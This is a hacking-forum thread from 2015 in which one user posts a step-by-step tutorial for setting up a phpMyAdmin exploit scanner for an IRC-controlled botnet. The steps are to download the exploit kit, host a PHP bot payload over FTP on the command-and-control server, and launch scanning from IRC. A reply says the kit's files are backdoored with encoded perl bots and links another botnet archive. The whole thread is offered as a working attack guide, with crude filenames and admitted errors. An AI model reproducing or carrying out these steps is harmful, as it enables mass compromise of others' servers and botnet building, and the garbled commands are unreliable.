Thread: [PMA Setup tut by DuCk For Beginners](#)

FBG Duck - July 20, 2015, 12:06 pm

hello everyone

today i will teach you about the shit phpmyadmin exploit
every skid and their mother wants

What You Will Need:

A Centos 6 Dedi / VPS

A Brain

An SSH Client or Just Terminal if you are on nix

Ok So lets get started:

Type these commands in to your ssh session:

```
yum update -y  
yum install nano -y  
yum install gcc -y  
yum install perl -y  
yum install python -y  
yum install cpan -y  
yum install unrar -y
```

wget <https://www.dropbox.com/s/0frhu4wkvoo819l/pma.rar?dl=1> -O gay.rar

unrar gay.rar - This cmd might be wrong bt i made this in ahury so dont complain

```
cpan URI  
cpan LWP  
cpan Time::HiRes  
cpan MIME::Base64  
cpan Parallel::ForkManager
```

After that go onto the host server of your C&C IRC and type:

```
yum install vsftpd -y  
service vsftpd start
```

```
cd /var/ftp/pub  
wget http://pastebin.com/raw.php?i=CWqBEz2S -O dicks.php  
nano dicks.php - Find line 86 and edit the config
```

go back on ur scanning server
cd into gay

nano x
find where it says ftp://
and replace the existing one with ftp://YOURSERVER/pub/dicks.php

then
whatch ur irc and type perl x -x

i wrote this tut in like 3 mins i might hae made a mistake

A lot of the PMA files out there are backdoored, I'm not saying this user is sketchy I'm just saying to watch out for any files you're going to be putting on your server(s).

SIM-2198759 - July 20, 2015, 1:35 pm

The PMA Files in this tutorial are backdoored. (Backdoored files are .dsf and .dsc, They're base-64 Encoded perl bots)

Use these ones: <http://0xplanet.com/archive/Botnets/PMA/PMA%20Files/R0XEM.zip>
